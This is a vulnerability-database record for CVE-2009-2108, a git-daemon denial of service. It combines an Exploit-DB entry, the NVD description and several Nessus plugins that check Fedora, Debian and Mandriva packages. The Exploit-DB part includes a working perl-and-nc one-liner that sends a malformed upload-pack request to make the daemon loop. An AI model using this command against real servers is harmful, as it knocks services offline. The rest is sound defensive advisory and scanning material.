{"id": "EDB-ID:33036", "hash": "42ec542a93895d5e21830c721e331818", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Git <= 1.6.3 Parameter Processing Remote Denial Of Service Vulnerability", "description": "Git 1.6.3 Parameter Processing Remote Denial Of Service Vulnerability. CVE-2009-2108. Dos exploit for linux platform", "published": "2009-05-05T00:00:00", "modified": "2009-05-05T00:00:00", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/33036/", "reporter": "Shawn O. Pearce", "references": [], "cvelist": ["CVE-2009-2108"], "lastseen": "2016-02-03T18:20:33", "history": [], "viewCount": 1, "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "vulnersScore": 5.0}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/33036/", "sourceData": "source: http://www.securityfocus.com/bid/35338/info\r\n\r\n\r\nGit is prone to a denial-of-service vulnerability because it fails to properly handle some client requests.\r\n\r\nAttackers can exploit this issue to cause a daemon process to enter an infinite loop. Repeated exploits may consume excessive system resources, resulting in a denial-of-service condition.\r\n\r\nGit 1.4.4.5 through 1.6.3.2 are vulnerable; other versions may also be affected.\r\n\r\n$ perl -e '\r\n$s=\"git-upload-pack git\\0user=me\\0host=localhost\\0\";\r\nprintf \"%4.4x%s\",4+length $s,$s\r\n' | nc $GITHOST 9418 ", "osvdbidlist": ["55034"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2017-08-17T11:14:22", "references": ["https://exchange.xforce.ibmcloud.com/vulnerabilities/51083", "http://www.mandriva.com/security/advisories?name=MDVSA-2009:155", "http://www.securityfocus.com/bid/35338", "https://www.redhat.com/archives/fedora-package-announce/2009-June/msg01126.html", "http://article.gmane.org/gmane.comp.version-control.git/120733", "https://www.redhat.com/archives/fedora-package-announce/2009-June/msg01045.html", "http://thread.gmane.org/gmane.comp.version-control.git/120724", "http://www.vupen.com/english/advisories/2009/1579", "https://www.redhat.com/archives/fedora-package-announce/2009-June/msg01056.html", "https://www.redhat.com/archives/fedora-security-list/2009-June/msg00000.html", "http://security.gentoo.org/glsa/glsa-200907-05.xml", "http://www.securitytracker.com/id?1022398", "http://www.openwall.com/lists/oss-security/2009/06/12/1"], "description": "git-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a request containing extra unrecognized arguments.", "edition": 2, "reporter": "NVD", "published": "2009-06-18T14:30:00", "title": "CVE-2009-2108", "type": "cve", "enchantments": {"score": {"modified": "2017-08-17T11:14:22", "vector": "NONE", "value": 5.0}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2009-2108"], "scanner": [], "modified": "2017-08-16T21:30:39", "cpe": ["cpe:/a:git:git:1.5.6.6", "cpe:/a:git:git:1.5.4:rc3", "cpe:/a:git:git:1.6.0.5", "cpe:/a:git:git:1.5.3.6", "cpe:/a:git:git:1.6.2.4", "cpe:/a:git:git:1.5.5.4", "cpe:/a:git:git:1.5.4.7", "cpe:/a:git:git:1.5.6.5", "cpe:/a:git:git:1.5.5", "cpe:/a:git:git:1.6.2.3", "cpe:/a:git:git:1.5.4.4", "cpe:/a:git:git:1.6.2.5", "cpe:/a:git:git:1.5.5.5", "cpe:/a:git:git:1.5.0.5", "cpe:/a:git:git:1.5.0.6", "cpe:/a:git:git:1.5.2.4", "cpe:/a:git:git:1.5.5:rc2", "cpe:/a:git:git:1.6.3:rc4", "cpe:/a:git:git:1.5.0:rc3", "cpe:/a:git:git:1.6.3", "cpe:/a:git:git:1.5.6.6:rc3", "cpe:/a:git:git:1.5.6.2", "cpe:/a:git:git:1.5.3.2", "cpe:/a:git:git:1.5.5.3:r1", "cpe:/a:git:git:1.5.0:rc2", "cpe:/a:git:git:1.6.0:rc1", "cpe:/a:git:git:1.6.2.2", "cpe:/a:git:git:1.5.6", "cpe:/a:git:git:1.5.5.1", "cpe:/a:git:git:1.5.0:rc4", "cpe:/a:git:git:1.6.0:rc3", "cpe:/a:git:git:1.5.1.3", "cpe:/a:git:git:1.5.3.8", "cpe:/a:git:git:1.5.0.7", "cpe:/a:git:git:1.5.1.2", "cpe:/a:git:git:1.5.0.3", "cpe:/a:git:git:1.6.2:rc1", "cpe:/a:git:git:1.6.0:rc2", "cpe:/a:git:git:1.5.2.5", "cpe:/a:git:git:1.5.5:rc1", "cpe:/a:git:git:1.5.5.6", "cpe:/a:git:git:1.6.1:rc3", "cpe:/a:git:git:1.4.4.5", "cpe:/a:git:git:1.6.0.2", "cpe:/a:git:git:1.6.2.1", "cpe:/a:git:git:1.5.5.3", "cpe:/a:git:git:1.5.3:rc7", "cpe:/a:git:git:1.5.0.2", "cpe:/a:git:git:1.5.0.4", "cpe:/a:git:git:1.6.3:rc2", "cpe:/a:git:git:1.5.1.4", "cpe:/a:git:git:1.6.0", "cpe:/a:git:git:1.6.1:rc2", "cpe:/a:git:git:1.6.1:rc1", "cpe:/a:git:git:1.5.6.4", "cpe:/a:git:git:1.5.3.4", "cpe:/a:git:git:1.6.2", "cpe:/a:git:git:1.5.6.6:rc2", "cpe:/a:git:git:1.6.1", "cpe:/a:git:git:1.5.4.1", "cpe:/a:git:git:1.5.2", "cpe:/a:git:git:1.5.2.3", "cpe:/a:git:git:1.5.2.2", "cpe:/a:git:git:1.5.1.1", "cpe:/a:git:git:1.6.3:rc1", "cpe:/a:git:git:1.6.3.2", "cpe:/a:git:git:1.6.0.3", "cpe:/a:git:git:1.5.4:rc0", "cpe:/a:git:git:1.5.5:rc3", "cpe:/a:git:git:1.5.4:rc1", "cpe:/a:git:git:1.5.3", "cpe:/a:git:git:1.6.0.6", "cpe:/a:git:git:1.5.1.5", "cpe:/a:git:git:1.5.0.1", "cpe:/a:git:git:1.5.3:rc5", "cpe:/a:git:git:1.6.0.1", "cpe:/a:git:git:1.5.0", "cpe:/a:git:git:1.6.3.1", "cpe:/a:git:git:1.6.1:rc4", "cpe:/a:git:git:1.5.4:rc4", "cpe:/a:git:git:1.5.6.6:rc0", "cpe:/a:git:git:1.5.4:rc1.1136.g2794", "cpe:/a:git:git:1.6.0.4", "cpe:/a:git:git:1.6.3:rc3", "cpe:/a:git:git:1.5.1", "cpe:/a:git:git:1.5.6.1", "cpe:/a:git:git:1.6.1.4", "cpe:/a:git:git:1.5.4.2", "cpe:/a:git:git:1.5.6.3"], "id": "CVE-2009-2108", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2108", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}], "nessus": [{"lastseen": "2018-09-01T23:34:08", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=502393", "http://www.nessus.org/u?38514f27", "https://bugzilla.redhat.com/show_bug.cgi?id=505761", "https://bugzilla.redhat.com/show_bug.cgi?id=490602"], "pluginID": "39509", "description": "This update fixes a Denial of Service vulnerability in git-daemon. It also fixes minor issues when using git-cvsimport and the formatting of the git-daemon xinetd service description.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "edition": 4, "reporter": "Tenable", "published": "2009-06-25T00:00:00", "title": "Fedora 10 : git-1.6.0.6-4.fc10 (2009-6839)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2015-10-21T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:10", "p-cpe:/a:fedoraproject:fedora:git"], "id": "FEDORA_2009-6839.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39509", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2009-6839.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39509);\n script_version (\"$Revision: 1.13 $\");\n script_cvs_date(\"$Date: 2015/10/21 22:50:38 $\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"FEDORA\", value:\"2009-6839\");\n\n script_name(english:\"Fedora 10 : git-1.6.0.6-4.fc10 (2009-6839)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update fixes a Denial of Service vulnerability in git-daemon. It\nalso fixes minor issues when using git-cvsimport and the formatting of\nthe git-daemon xinetd service description.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=490602\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=502393\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=505761\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2009-June/025507.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?38514f27\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:10\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2015 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^10([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 10.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC10\", reference:\"git-1.6.0.6-4.fc10\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-09-01T23:46:45", "references": ["https://bugzilla.redhat.com/show_bug.cgi?id=502393", "http://www.nessus.org/u?d0b09e00", "https://bugzilla.redhat.com/show_bug.cgi?id=505761", "https://bugzilla.redhat.com/show_bug.cgi?id=490602"], "pluginID": "39507", "description": "This update fixes a Denial of Service vulnerability in git-daemon. It also fixes minor issues when using git-cvsimport and the formatting of the git-daemon xinetd service description.\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "edition": 4, "reporter": "Tenable", "published": "2009-06-25T00:00:00", "title": "Fedora 9 : git-1.6.0.6-4.fc9 (2009-6809)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Fedora Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2015-10-21T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:git", "cpe:/o:fedoraproject:fedora:9"], "id": "FEDORA_2009-6809.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=39507", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory 2009-6809.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(39507);\n script_version (\"$Revision: 1.13 $\");\n script_cvs_date(\"$Date: 2015/10/21 22:50:38 $\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"FEDORA\", value:\"2009-6809\");\n\n script_name(english:\"Fedora 9 : git-1.6.0.6-4.fc9 (2009-6809)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update fixes a Denial of Service vulnerability in git-daemon. It\nalso fixes minor issues when using git-cvsimport and the formatting of\nthe git-daemon xinetd service description.\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=490602\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=502393\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=505761\"\n );\n # https://lists.fedoraproject.org/pipermail/package-announce/2009-June/025426.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?d0b09e00\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected git package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:9\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/06/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/06/25\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2009-2015 Tenable Network Security, Inc.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = eregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^9([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 9.x\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"FC9\", reference:\"git-1.6.0.6-4.fc9\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"git\");\n}\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-11-11T13:07:21", "references": ["https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=532935", "https://www.debian.org/security/2009/dsa-1841"], "pluginID": "44706", "description": "It was discovered that git-daemon which is part of git-core, a popular distributed revision control system, is vulnerable to denial of service attacks caused by a programming mistake in handling requests containing extra unrecognized arguments which results in an infinite loop. While this is no problem for the daemon itself as every request will spawn a new git-daemon instance, this still results in a very high CPU consumption and might lead to denial of service conditions.", "edition": 7, "reporter": "Tenable", "published": "2010-02-24T00:00:00", "title": "Debian DSA-1841-1 : git-core - denial of service", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Debian Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-11-10T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:4.0", "p-cpe:/a:debian:debian_linux:git-core", "cpe:/o:debian:debian_linux:5.0"], "id": "DEBIAN_DSA-1841.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=44706", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-1841. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(44706);\n script_version(\"1.8\");\n script_cvs_date(\"Date: 2018/11/10 11:49:34\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"DSA\", value:\"1841\");\n\n script_name(english:\"Debian DSA-1841-1 : git-core - denial of service\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that git-daemon which is part of git-core, a popular\ndistributed revision control system, is vulnerable to denial of\nservice attacks caused by a programming mistake in handling requests\ncontaining extra unrecognized arguments which results in an infinite\nloop. While this is no problem for the daemon itself as every request\nwill spawn a new git-daemon instance, this still results in a very\nhigh CPU consumption and might lead to denial of service conditions.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=532935\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2009/dsa-1841\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the git-core packages.\n\nFor the oldstable distribution (etch), this problem has been fixed in\nversion 1.4.4.4-4+etch3.\n\nFor the stable distribution (lenny), this problem has been fixed in\nversion 1.5.6.5-3+lenny2.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:debian:debian_linux:git-core\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:4.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:debian:debian_linux:5.0\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/07/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/02/24\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Debian Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Debian/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"debian_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Debian/release\")) audit(AUDIT_OS_NOT, \"Debian\");\nif (!get_kb_item(\"Host/Debian/dpkg-l\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\nif (deb_check(release:\"4.0\", prefix:\"git-arch\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-core\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-cvs\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-daemon-run\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-doc\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-email\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"git-svn\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"gitk\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"4.0\", prefix:\"gitweb\", reference:\"1.4.4.4-4+etch3\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-arch\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-core\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-cvs\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-daemon-run\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-doc\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-email\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-gui\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"git-svn\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"gitk\", reference:\"1.5.6.5-3+lenny2\")) flag++;\nif (deb_check(release:\"5.0\", prefix:\"gitweb\", reference:\"1.5.6.5-3+lenny2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:deb_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}}, {"lastseen": "2018-09-01T23:51:35", "references": [], "pluginID": "48150", "description": "A vulnerability has been found and corrected in git :\n\ngit-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a request containing extra unrecognized arguments (CVE-2009-2108).\n\nThis update provides fixes for this vulnerability.", "edition": 5, "reporter": "Tenable", "published": "2010-07-30T00:00:00", "title": "Mandriva Linux Security Advisory : git (MDVSA-2009:155)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 5.0}}, "naslFamily": "Mandriva Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-2108"], "modified": "2018-07-19T00:00:00", "cpe": ["p-cpe:/a:mandriva:linux:gitview", "p-cpe:/a:mandriva:linux:git-core", "p-cpe:/a:mandriva:linux:git-core-oldies", "p-cpe:/a:mandriva:linux:git-arch", "p-cpe:/a:mandriva:linux:git", "p-cpe:/a:mandriva:linux:perl-Git", "p-cpe:/a:mandriva:linux:gitk", "p-cpe:/a:mandriva:linux:git-email", "p-cpe:/a:mandriva:linux:git-svn", "p-cpe:/a:mandriva:linux:lib64git-devel", "cpe:/o:mandriva:linux:2009.1", "p-cpe:/a:mandriva:linux:gitweb", "p-cpe:/a:mandriva:linux:git-cvs", "p-cpe:/a:mandriva:linux:libgit-devel"], "id": "MANDRIVA_MDVSA-2009-155.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=48150", "sourceData": "#%NASL_MIN_LEVEL 70103\n\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Mandriva Linux Security Advisory MDVSA-2009:155. \n# The text itself is copyright (C) Mandriva S.A.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(48150);\n script_version(\"1.10\");\n script_cvs_date(\"Date: 2018/07/19 20:59:16\");\n\n script_cve_id(\"CVE-2009-2108\");\n script_bugtraq_id(35338);\n script_xref(name:\"MDVSA\", value:\"2009:155\");\n\n script_name(english:\"Mandriva Linux Security Advisory : git (MDVSA-2009:155)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Mandriva Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"A vulnerability has been found and corrected in git :\n\ngit-daemon in git 1.4.4.5 through 1.6.3 allows remote attackers to\ncause a denial of service (infinite loop and CPU consumption) via a\nrequest containing extra unrecognized arguments (CVE-2009-2108).\n\nThis update provides fixes for this vulnerability.\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(399);\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-arch\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-core\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-core-oldies\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-cvs\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-email\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:git-svn\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:gitk\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:gitview\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:gitweb\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:lib64git-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:libgit-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:perl-Git\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2009.1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2009/07/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/07/30\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n 